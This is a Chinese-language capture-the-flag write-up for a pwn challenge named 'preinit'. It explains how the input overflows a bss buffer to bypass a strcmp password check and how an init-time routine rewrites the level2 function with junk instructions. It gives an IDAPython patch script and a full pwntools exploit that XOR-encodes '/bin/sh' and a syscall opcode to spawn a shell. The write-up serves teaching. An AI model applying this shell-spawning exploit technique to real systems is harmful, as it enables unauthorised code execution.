查看保护:
查看ida:
这边其实看反汇编没啥大作用,需要自己动调。
但是前面的绕过strcmp还是要看一下的。
解题:
这里是用linux自带的产生随机数的文件urandom来产生一个随机密码,然后让我们输入密码,用strcmp检查password是否与checkpass一样。我们可输入的字节数为0x110。
这里可以看出来我们的输入其实是存到bss段里了,而password距离checkpass也就0x100,所以我们的输入是可以覆盖checkpass的。
但是全题就这一个输入的地方,所以要考虑很多才能写好payload。
输入完之后进入level
这里会把我们的输入存入s中,在check中进行异或操作,再进入level2。
ida没什么好讲的,动调才是重点。
首先,你在level2打断点进如level2了之后就会发现这里跟ida汇编里是不一样的。
ida里面是这样的
完全不一样
这里是因为程序对level2进行了修改,所以我们即使在静态调试看机器码也看不出来,只有动调才能知道level2被修改了。
问题就出在初始化那里
他这里自己自定义了一个初始化数组
对level2是又一定影响的,而且这里还用了花指令,从地址红色可以看出这些地方解析有争议。
事实上,其实我们用不着去了解为啥level2被改,也用不着在ida里把level2给改回来(在ida里修改机器码是影响不了elf文件的,只是为了分析),直接看动调就行了,动调是啥就是啥。
但既然有这个点就说一下。
我们先看动调出来的
对机器码敏感的应该很快就可以看出来,\x57对应push di,而\x56对应push si,后面的也可以对应得上(这里是人为注入机器码形成花指令,有些数据是干扰的),那就是题目引导你去把这里的机器码改进level2中。
然后排除干扰数据修改level2
import idaapi
list=[0x480A7F8D48525657,0x0AAF300000050C1C7,0x0FF085F8D485F5E5A,0x0C3E3]
addr=0x401324
for i in list:
idaapi.put_qword(addr,i)
addr+=8
说了那么多,感觉都不如直接看动调来得容易,毕竟比赛的时候太难想到了。
在执行jmp rbx之前,无论输入啥,在大多数情况下rdi里面会储存我们输入的字符串的开头,rsi为0,rdx为0,rax为输出的字节数,rip为rdi+8并可以控制,如果此时我们令rdi为/bin/sh,rip为syscall就可以进行系统调用execve。这样就出了。
完整exp:
from pwn import*
context(log_level='debug')
p=process('./preinit')
list=b'/bin/sh\x00\x0f\x05' #\x0f\x05是调用syscall
shell=[]
shell+=[i^0x3b for i in list]
'''
for i in list:
shell.append(i^0x3b)
'''
shell=bytes(shell)+b'%50c'
payload=shell
payload=payload.ljust(0x100,b'\x00')
payload+=shell
print(payload)
p.sendafter(b'what is your password:',payload)
p.interactive()
补充点1:
在我们调试的时候可能会认为程序卡住了,比如下图
其实这是因为rep stosb的原因,准确的说是rep,他会根据cx寄存器里的值进行重复操作,比如这里是rcx=0x50,他就会进行0x50次操作,重复完之后会接着进行下一步。
补充点2:
像刚刚的操作在ida没法修改elf文件的机器码
补充点3:
在修改level2的时候可能会遇到这种情况
那就鼠标选中要重新分析的范围
按c重新分析
就可以了